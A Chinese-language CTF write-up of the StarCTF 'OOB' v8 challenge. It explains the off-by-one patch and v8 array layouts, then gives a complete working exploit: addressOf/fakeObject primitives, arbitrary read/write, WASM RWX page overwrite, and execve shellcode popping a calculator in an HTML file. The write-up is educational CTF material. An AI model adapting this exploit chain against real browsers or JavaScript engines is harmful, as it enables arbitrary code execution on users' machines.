StarCTF-OOB-WP

Posted on Nov 16, 2021

博客很久没有更新了,wp 更是很久没有发过了。主要是最近的确没有刷什么题,比赛虽然打的还算多,但是都没有做什么有收获的题,所以都没有发 wp,毕竟没啥意思。不过上个星期的深育杯和 l3ctf 倒是都碰到了新东西,深育杯有一个 Jerry script pwn 和 fastjson pwn。jerryscript 这个之前津门杯也碰到了,但是没有找到 wp 就一直没去复现,所以一直没搞懂,这次又碰到了,既然有官方 wp,就尝试复现一下。fastjson 那个,确实没听说过,有机会也复现一下。l3ctf 则非常时髦,一个似乎是 window 内核 pwn,确实是超出知识面了,还有一个是带 llvm address sanitizer 的 pwn,具体由于时间不够也没仔细分析。不知道官方会不会发布 wp,希望可以跟着复现一下。看来最近能弄的东西还挺多,突然又有了明确的目标了,挺好。下一步先了解一下 Jerry Script 的基本利用方式吧。

v8 的利用是很早之前就想学了,不过一直觉得自己的知识储备可能还是不够,就没有开始。先是入门了一下设计模式和编译原理,最近又翻了翻侯捷老师的《STL 源码剖析》,了解了一些 C++ GP 的设计。但是确实一直没有明确的目标,所以进展比较慢,最后还是决定不管太多,直接开始上题,不得不说做题确实是最简单的学习方式了,通过这道题也是了解了一点 v8 的对象存储结构。不过此题倒是和 v8 的编译过程没有什么关系,之后再学习吧。

这道题是一道入门 v8 pwn 题,网络上相关的资料非常多,所以这篇 wp 也只是写给自己看看,建议参考小语的 wp

基本的出题方法

给出一个靶机跑的浏览器以及相关依赖和一个 patch 文件。这个 patch 向 v8 中埋了洞,我们要做的就是理解并利用该漏洞。

环境搭建

题目如果只给一个浏览器,那调试起来应该会非常痛苦,所以我们会根据题目的引擎版本自己构建一个对应的 debug 版本的引擎。整个构建过程比较繁琐。

安装一些依赖:

sudo apt install binutils python2.7 perl socat git build-essential gdb gdbserver

首先需要获取相关的工具链,主要需要的是 depot_tools 和 ninja。

depot_tools 可以从 github 上 clone 下来,然后加到 PATH 里面就行了

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

ninja 不建议 apt 安装,版本太老了,最好是编译安装

git clone https://github.com/ninja-build/ninja.git
cd ninja
./configure.py --bootstrap
sudo cp ninja /usr/bin/

然后获取源码并编译

fetch v8 # 使用 depot_tools 拉取源码
cd v8
gclient sync # 更新源码,这里可以不执行,因为 depot_tools 拉取的已经是最新的了 
# 编译可以直接使用提供脚本的编译,ninja 会自动使用全核进行编译
tools/dev/v8gen.py x64.debug && ninja -C out.gn/x64.debug # debug 版本
tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release # release 版本

编译出来的目标文件存于 out.gn/x64.*** 中,d8 就是引擎,直接运行会启动一个交互式的 shell,提供 js 文件就可以直接该脚本。

这个编译过程还是比较久的,为了不浪费太多人生,可以先不编译,之后直接编译题目所需的版本就可以了。

v8 同时提供里 gdb 的调试支持,位于 v8/tools/ 中,在 ~/.gdbinit 中加入以下两行

source /path_to_v8/tools/gdbinit
source /path_to_v8/tools/gdb-v8-support.py

就可以启用调试支持。

主要的有 job 命令,可以显示对应地址的中对象的细节,比如对一个函数对象执行 job,可以获得

pwndbg> job 0x2a21e74e24e1
0x2a21e74e24e1: [Function] in OldSpace
 - map: 0x2e2a97744379 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2a21e74c2109 <JSFunction (sfi = 0x3b2784bc3b29)>
 - elements: 0x0e279b5c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x2a21e74e24a9 <SharedFunctionInfo 0>
 - name: 0x0e279b5c4ae1 <String[#1]: 0>
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x2a21e74c1869 <NativeContext[246]>
 - code: 0x118c79942001 <Code JS_TO_WASM_FUNCTION>
 - WASM instance 0x2a21e74e22e9
 - WASM function index 0
 - properties: 0x0e279b5c0c71 <FixedArray[0]> {
    #length: 0x3b2784bc04b9 <AccessorInfo> (const accessor descriptor)
    #name: 0x3b2784bc0449 <AccessorInfo> (const accessor descriptor)
    #arguments: 0x3b2784bc0369 <AccessorInfo> (const accessor descriptor)
    #caller: 0x3b2784bc03d9 <AccessorInfo> (const accessor descriptor)
 }

 - feedback vector: not available

同时我们还可以通过在 js 文件中加入 %SystemBreak()%DebugPrint(object),前者可以起到断点的作用,后者可以打出 object 的地址和类型。

漏洞分析

diff 文件如下

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
1668:                           Builtins::kArrayPrototypeCopyWithin, 2, false);
1669:     SimpleInstallFunction(isolate_, proto, "fill",
1670:                           Builtins::kArrayPrototypeFill, 1, false);
1671:+    SimpleInstallFunction(isolate_, proto, "oob",
1672:+                          Builtins::kArrayOob,2,false);
1673:     SimpleInstallFunction(isolate_, proto, "find",
1674:                           Builtins::kArrayPrototypeFind, 1, false);
1675:     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
361:   return *final_length;
362: }
363: }  // namespace
364:+BUILTIN(ArrayOob){
365:+    uint32_t len = args.length();
366:+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
367:+    Handle<JSReceiver> receiver;
368:+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
369:+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
370:+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
371:+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
372:+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
373:+    if(len == 1){
374:+        //read
375:+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
376:+    }else{
377:+        //write
378:+        Handle<Object> value;
379:+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
380:+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
381:+        elements.set(length,value->Number());
382:+        return ReadOnlyRoots(isolate).undefined_value();
383:+    }
384:+}
385: 
386: BUILTIN(ArrayPush) {
387:   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
368:   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
369:   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
370:   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
371:+  CPP(ArrayOob)                                                                \
372:                                                                                \
373:   /* ArrayBuffer */                                                            \
374:   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
1680:       return Type::Receiver();
1681:     case Builtins::kArrayUnshift:
1682:       return t->cache_->kPositiveSafeInteger;
1683:+    case Builtins::kArrayOob:
1684:+      return Type::Receiver();
1685: 
1686:     // ArrayBuffer functions.
1687:     case Builtins::kArrayBufferIsView:

可以看到 patch 后给内建数组添加了一个 oob 方法,该方法的实现为

--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
361:   return *final_length;
362: }
363: }  // namespace
364:+BUILTIN(ArrayOob){
365:+    uint32_t len = args.length();
366:+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
367:+    Handle<JSReceiver> receiver;
368:+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
369:+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
370:+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
371:+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
372:+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
373:+    if(len == 1){
374:+        //read
375:+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
376:+    }else{
377:+        //write
378:+        Handle<Object> value;
379:+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
380:+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
381:+        elements.set(length,value->Number());
382:+        return ReadOnlyRoots(isolate).undefined_value();
383:+    }
384:+}

len 维护了方法调用时的参数个数。注意类似于 C++,js 中函数调用时 this 指针也会作为第一个参数传入,所以参数长度为 1 也就是没有提供参数。该方法有两种操作模式,当调用参数为 0 时,即

arr.oob()

效果就是

return arr[arr.length]

arr.oob(val)

效果就是

arr[arr.length] = val

可以看到这里有一个典型的栅栏错误,可以越界一个单位进行读写。

编译调试环境

题目浏览器使用的 v8 对应的 commit 版本为 6dc88c191f5ecc5389dc26efa3ca0907faef3598

先滚至题目的代码版本

git reset --hard  6dc88c191f5ecc5389dc26efa3ca0907faef3598
git checkout
git apply < oob.diff

然后此题如果使用 debug 模式编译,调试时据说会出现问题,为了不浪费人生,我也没编译去看到底有什么问题,就用了 release 版本,按照语神的说法,为了使用 job 等调试命令,需要在 out.gn/x64.release/args.gn 文件加入以下内容:

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

编译即可

tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release

利用

漏洞就是 8 字节溢出任意读写,这个溢出可以做什么与数组的结构有关,这里也仿照小语的博客对一些数组的类型进行调试,也可以顺便学习以下调试的方法。

var int_arr = [1, 2, 3];
var float_arr = [1.1, 1.2, 1.3];
var obj = {"a" : 1};
var object_arr = [obj, obj, obj];
var newed_arr = new Array(3);

%DebugPrint(int_arr);
%SystemBreak();

%DebugPrint(float_arr);
%SystemBreak();

%DebugPrint(object_arr);
%SystemBreak();

%DebugPrint(newed_arr);
%SystemBreak();

保存脚本到 debug.js,使用 gdb d8 准备进行调试,首先设置参数

set args --allow-natives-syntax ./debug.js

然后 r 即可。

执行流执行到 %DebugPrint(int_arr) 的时候,就会输出 int_arr 对象的地址和类型,执行到 %SystemBreak() 时,就会自动断下

debug 情况

对象地址使用 job 命令即可显示出对象的属性

pwndbg> job 0x2f6f32c4dee1
0x2f6f32c4dee1: [JSArray]
 - map: 0x2fd1f0cc2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x31020c111111 <JSArray[0]>
 - elements: 0x2f6f32c4ddf9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x2c53d6f40c71 <FixedArray[0]> {
    #length: 0x2a585ac401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2f6f32c4ddf9 <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }

可以看到 DebugPrint 出来的对象地址的最低位为 1,这是因为 32 位和 64 位的地址对齐保证最低位一定为 0,v8 便使用该位标记指针所指向的对象的属性,如果被指的对象是一个 js 对象,便在最低位置 1。

观察 int_arr 的空间分布,可以看到头部有一个 map 指针,这是 v8 用来实现动态类型的核心。map 对象维护了某一对象当前的类型,引用源码注释

// All heap objects have a Map that describes their structure.
//  A Map contains information about:
//  - Size information about the object
//  - How to iterate over an object (for garbage collection)

实际上 map 还会指导 v8 对某对象的各种操作。不难想到,如果能够伪造某对象的 map 指针,就可以实现类型混淆,达成进一步利用。

对于本题而言,为了实现修改 map,还需要了解 elements 指向的对象的结构。

同时也可见 elements 的地址是 0x2f6f32c4ddf9,对该指针执行 job,可得(我这里新开了一次调试,所以地址有变)

pwndbg> job 0x04c54214ddf9
0x4c54214ddf9: [FixedArray]
 - map: 0x09dcb47c0851 <Map>
 - length: 3
           0: 1
           1: 2
           2: 3
pwndbg> telescope 0x04c54214ddf8
00:0000│  0x4c54214ddf8 —▸ 0x9dcb47c0851 ◂— 0x9dcb47c01
01:0008│  0x4c54214de00 ◂— 0x300000000
02:0010│  0x4c54214de08 ◂— 0x100000000
03:0018│  0x4c54214de10 ◂— 0x200000000
04:0020│  0x4c54214de18 ◂— 0x300000000
05:0028│  0x4c54214de20 —▸ 0x9dcb47c0801 ◂— 0x9dcb47c01
06:0030│  0x4c54214de28 ◂— 0x300000000
07:0038│  0x4c54214de30 —▸ 0x3ade51f451 ◂— 0x9a000009dcb47c05

可以看到 elements 指向的是一个 FixedArray 类维护了数组存储数据的区域,作为一个对象,头部也存储了一个 map。第二个字段则维护了数组的长度。考虑到我们只能溢出 8 个字节,这里无法实现有效的利用。

使用 c 继续执行,查看 float_arr 的内存环境

pwndbg> job 0x04c54214df29
0x4c54214df29: [JSArray]
 - map: 0x310589b82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x003ade511111 <JSArray[0]>
 - elements: 0x04c54214df01 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x09dcb47c0c71 <FixedArray[0]> {
    #length: 0x159e27e801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x04c54214df01 <FixedDoubleArray[3]> {
           0: 1.1
           1: 1.2
           2: 1.3
 }
pwndbg> telescope 0x04c54214df01-1
00:0000│  0x4c54214df00 —▸ 0x9dcb47c14f9 ◂— 0x9dcb47c01
01:0008│  0x4c54214df08 ◂— 0x300000000
02:0010│  0x4c54214df10 ◂— 0x3ff199999999999a
03:0018│  0x4c54214df18 ◂— 0x3ff3333333333333
04:0020│  0x4c54214df20 ◂— 0x3ff4cccccccccccd
05:0028│  0x4c54214df28 —▸ 0x310589b82ed9 ◂— 0x4000009dcb47c01
06:0030│  0x4c54214df30 —▸ 0x9dcb47c0c71 ◂— 0x9dcb47c08
07:0038│  0x4c54214df38 —▸ 0x4c54214df01 ◂— 0x9dcb47c14

可以看到这里 elements 指向的 FixedDoubleArray 类实例和 float_arr 紧邻,通过溢出 8 个字节可以直接修改 float_arr 的 map 指针,这样就可以实现类型混淆了。

继续向下执行,可以发现对象数组的 elements 也可以实现修改 map。

利用类型混淆,可以实现 leak。仍然利用上面的调试脚本,查看对象数组的内存结构

pwndbg> job 0x04c54214dfc1
0x4c54214dfc1: [JSArray]
 - map: 0x310589b82f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x003ade511111 <JSArray[0]>
 - elements: 0x04c54214df99 <FixedArray[3]> [PACKED_ELEMENTS]
 - length: 3
 - properties: 0x09dcb47c0c71 <FixedArray[0]> {
    #length: 0x159e27e801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x04c54214df99 <FixedArray[3]> {
         0-2: 0x04c54214df49 <Object map = 0x310589b8ab39>
 }

对象被存储在 elements 指向的 FixedArray 数组中

pwndbg> job 0x04c54214df99
0x4c54214df99: [FixedArray]
 - map: 0x09dcb47c0801 <Map>
 - length: 3
         0-2: 0x04c54214df49 <Object map = 0x310589b8ab39>
pwndbg> telescope 0x04c54214df99-1
00:0000│  0x4c54214df98 —▸ 0x9dcb47c0801 ◂— 0x9dcb47c01
01:0008│  0x4c54214dfa0 ◂— 0x300000000
02:0010│  0x4c54214dfa8 —▸ 0x4c54214df49 ◂— 0x710000310589b8ab
... ↓     2 skipped
05:0028│  0x4c54214dfc0 —▸ 0x310589b82f79 ◂— 0x4000009dcb47c01
06:0030│  0x4c54214dfc8 —▸ 0x9dcb47c0c71 ◂— 0x9dcb47c08
07:0038│  0x4c54214dfd0 —▸ 0x4c54214df99 ◂— 0x9dcb47c08

自然的,使用对象的指针来维护每个对象,所以如果把一个对象数组混淆为浮点数组,访问 object_array[i] 的时候,就会以浮点数的形式返回对象的地址。反之,向浮点数组中写入对象地址再混淆为对象数组,访问时就会直接把该地址作为一个对象返回了,由此可以写出 leak 函数和伪造对象函数

var float_arr = [1.1];
var obj = {"a" : 1};
var object_arr = [obj];

var float_arr_map = float_arr.oob();
var object_arr_map = object_arr.oob();

// get the address of obj
// @param {object} obj: obj to leak
// @return {uint64}: address of obj 
function addressOf(obj) {
    object_arr[0] = obj;
    object_arr.oob(float_arr_map);
    let address = object_arr[0];
    object_arr.oob(object_arr_map);
    return f2i(address);
}

// return a object which address is `address` 
// return object (*address);
// @param {uint64} address
// @return {object}
function fakeObject(address) {
    float_arr[0] = i2f(address);
    float_arr.oob(object_arr_map);
    let obj = float_arr[0];
    float_arr.oob(float_arr_map);
    return obj;
}

为了转换浮点数和地址,可以实现两个工具函数

var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var uint64 = new BigUint64Array(buf);

// @param {float64} float_num
// @return {uint64}
function f2i(float_num) {
    float64[0] = float_num;
    return uint64[0];
}

// @param {uint64} uint64_num
// @return {float64}
function i2f(uint64_num) {
    uint64[0] = uint64_num;
    return float64[0];
}

既然可以 leak 和伪造对象了,就可以考虑任意地址读写了。我们可以在一个数组中伪造一个数组对象,leak 出该对象地址,通过之前实现的对象伪造就可以获得一个 elements 指向任意地址的数组了。通过该数组就可以实现任意地址读写。

var rw_tool = [
    // map
    float_arr_map,
    // prototype
    i2f(0n),
    // elements
    i2f(0xBEEFDEADn),
    // length
    i2f(0x1000000000n),
    1.1,
    1.2
];

var rw_tool_addr = addressOf(rw_tool);
console.log("rw_tool_addr: 0x" + rw_tool_addr.toString(16));
var arbitary_rw_obj = fakeObject(rw_tool_addr - 0x30n);

// return *((uint64*) address)
// @param {uint64} address
// @return {uint64}
function read64(address) {
    rw_tool[2] = i2f(address - 0x10n + 1n);
    return f2i(arbitary_rw_obj[0]);
}

// *((uint64*) address) = val
// @param {uint64} address
// @param {uint64} val
function write64(address, val) {
    rw_tool[2] = i2f(address - 0x10n + 1n);
    arbitary_rw_obj[0] = i2f(val);
}

任意地址读写后的利用,可以通过 Linux 用户态 pwn 常用的 leak 后攻击各种 hook 指针劫持执行流,这种方式最重要的是要 leak 出进程的基址。一般的套路为,对于一个 js 数组 a=[1],在 a->map->constructor->code 的固定偏移处,存在一条指令将进程的地址 mov 到寄存器中,通过读该处的内存即可实现 leak。

不过这里也可以通过 shellcode 实现利用,与 wasm 有关。利用这个网站可以生成一段 wasm 码,我们可以这样来生成一个函数对象

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

f->shared_info->data->instance 的固定偏移处(这个偏移据说与许多东西相关,可以通过调试得出,这里是 0x88),储存了一个 rwx 的内存段的地址,这个内存段本身是为了 f 的调用的,由于我们可以任意地址写,所以向这里写入 shellcode,调用 f 后就可以任意代码执行了。

首先 leak 出内存段地址

addr_f = addressOf(f);

console.log(f());
console.log("f_addr: 0x" + addr_f.toString(16));

var shared_info_addr = read64(addr_f - 1n + 0x18n)
console.log("shared_info_addr: 0x" + shared_info_addr.toString(16));

var data_addr = read64(shared_info_addr -1n + 0x8n)
console.log("data_addr: 0x" + data_addr.toString(16));

var instance_addr = read64(data_addr -1n + 0x10n)
console.log("instance_addr: 0x" + instance_addr.toString(16));

var rwx_addr = read64(instance_addr - 1n + 0x88n)
console.log("rwx_addr: 0x" + rwx_addr.toString(16));

然后需要生成一段 shellcode,这里使用了小语写的脚本生成

#!/usr/bin/env python
# coding=utf-8
# 小语写的脚本
from pwn import *


def just8(data):
    size = len(data)
    real_size = size if size % 8 == 0 else size + (8 - size % 8)
    return data.ljust(real_size, '\x00')

def to_js(data):
    ret = 'var sc_arr = ['
    for i in range(0, len(data), 8):
        if (i // 8) % 4 == 0:
            ret += '\n'
        x = u64(data[i:i+8])
  
        ret += '\t' + hex(x) + 'n,'

    ret += '\n]\n'

    return ret


def call_exec(path, argv, envp):
    sc = ''
  
    sc += shellcraft.pushstr(path)
    sc += shellcraft.mov('rdi', 'rsp')
  
    sc += shellcraft.pushstr_array('rsi', argv)
    sc += shellcraft.pushstr_array('rdx', envp)
    sc += shellcraft.syscall('SYS_execve')
 
    return sc

context.os = 'linux'
context.arch = 'amd64'


sc = ''
sc = call_exec('/usr/bin/xcalc', ['xcalc'], ['DISPLAY=:0'])


print(sc)

data = asm(sc)
data = just8(data)

print(to_js(data))

为了证明利用的完成,这里调用的是一个计算器,为了执行图形程序,需要设置 DISPLAY 环境变量,一般置为 0 即可。

执行脚本后可以得到这样一个数组

var sc_arr = [
    0x10101010101b848n,    0x62792eb848500101n,    0x431480101626d60n,    0x2f7273752fb84824n,
    0x48e78948506e6962n,    0x1010101010101b8n,    0x6d606279b8485001n,    0x2404314801010162n,
    0x1485e086a56f631n,    0x313b68e6894856e6n,    0x101012434810101n,    0x4c50534944b84801n,
    0x6a52d231503d5941n,    0x894852e201485a08n,    0x50f583b6ae2n,
];

之后如果直接使用之前实现的 write64 函数会出现一个段错误。小语说这是 write64 FloatArray 对浮点数的处理方式造成的,当值以 0x7f 开头等高处的地址都会出现这种问题,小语说可以使用 DataView 来改写任意写的方式来解决了这个问题。

小语说 DataView 对象偏移 +0x20 处,存有一个 backing_store 指针,该指针指向真正存储数据的地址,改写这个指针即可任意读写,而且不会发生 FloatArray 出现的问题,他写了个 poc

var buffer = new ArrayBuffer(16);
var data_view = new DataView(buffer);
var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n;

function write64_view(addr, value)
{
	write64(buf_backing_store_addr, addr);
	data_view.setFloat64(0, i2f(value), true);
}

利用这种方式就可以写 shellcode 了。

var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) -1n + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
    data_view.setFloat64(i * 8, i2f(sc_arr[i]), true);
}

最后整理成为一个 html 文件

<script>
var float_arr = [1.1];
var obj = {"a" : 1};
var object_arr = [obj];

var float_arr_map = float_arr.oob();
var object_arr_map = object_arr.oob();

// get the address of obj
// @param {object} obj: obj to leak
// @return {uint64}: address of obj 
function addressOf(obj) {
    object_arr[0] = obj;
    object_arr.oob(float_arr_map);
    let address = object_arr[0];
    object_arr.oob(object_arr_map);
    return f2i(address);
}

// return a object which address is `address` 
// return object (*address);
// @param {uint64} address
// @return {object}
function fakeObject(address) {
    float_arr[0] = i2f(address);
    float_arr.oob(object_arr_map);
    let obj = float_arr[0];
    float_arr.oob(float_arr_map);
    return obj;
}

var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var uint64 = new BigUint64Array(buf);

// @param {float64} float_num
// @return {uint64}
function f2i(float_num) {
    float64[0] = float_num;
    return uint64[0];
}

// @param {uint64} uint64_num
// @return {float64}
function i2f(uint64_num) {
    uint64[0] = uint64_num;
    return float64[0];
} 

var rw_tool = [
    // map
    float_arr_map,
    // prototype
    i2f(0n),
    // elements
    i2f(0xBEEFDEADn),
    // length
    i2f(0x1000000000n),
    1.1,
    1.2
];

var rw_tool_addr = addressOf(rw_tool);
console.log("rw_tool_addr: 0x" + rw_tool_addr.toString(16));
var arbitary_rw_obj = fakeObject(rw_tool_addr - 0x30n);

// return *((uint64*) address)
// @param {uint64} address
// @return {uint64}
function read64(address) {
    rw_tool[2] = i2f(address - 0x10n + 1n);
    return f2i(arbitary_rw_obj[0]);
}

// *((uint64*) address) = val
// @param {uint64} address
// @param {uint64} val
function write64(address, val) {
    rw_tool[2] = i2f(address - 0x10n + 1n);
    arbitary_rw_obj[0] = i2f(val);
}


/*
// *((uint64*) address) = val
// @param {uint64} address
// @param {uint64} val
function write64_view(address, val) {
    write64(buf_backing_store_addr, address);
    // data_view.setBigUint64(0, val, true);
    data_view.setFloat64(0, i2f(val), true);
}
*/

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f);

console.log(f());
console.log("f_addr: 0x" + addr_f.toString(16));

var shared_info_addr = read64(addr_f - 1n + 0x18n)
console.log("shared_info_addr: 0x" + shared_info_addr.toString(16));

var data_addr = read64(shared_info_addr -1n + 0x8n)
console.log("data_addr: 0x" + data_addr.toString(16));

var instance_addr = read64(data_addr -1n + 0x10n)
console.log("instance_addr: 0x" + instance_addr.toString(16));

var rwx_addr = read64(instance_addr - 1n + 0x88n)
console.log("rwx_addr: 0x" + rwx_addr.toString(16));

var sc_arr = [
    0x10101010101b848n,    0x62792eb848500101n,    0x431480101626d60n,    0x2f7273752fb84824n,
    0x48e78948506e6962n,    0x1010101010101b8n,    0x6d606279b8485001n,    0x2404314801010162n,
    0x1485e086a56f631n,    0x313b68e6894856e6n,    0x101012434810101n,    0x4c50534944b84801n,
    0x6a52d231503d5941n,    0x894852e201485a08n,    0x50f583b6ae2n,
];

var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) -1n + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
    data_view.setFloat64(i * 8, i2f(sc_arr[i]), true);
}

f();
</script>

直接起 chrome 会触发沙盒,无法执行 execve,本题本身不考察沙盒绕过,所以用无沙盒模式启动就可以了,即

./chrome --no-sandbox

拖入 exp,即可弹出计算器

弹出计算器!

reference

小语的 wp

关于 map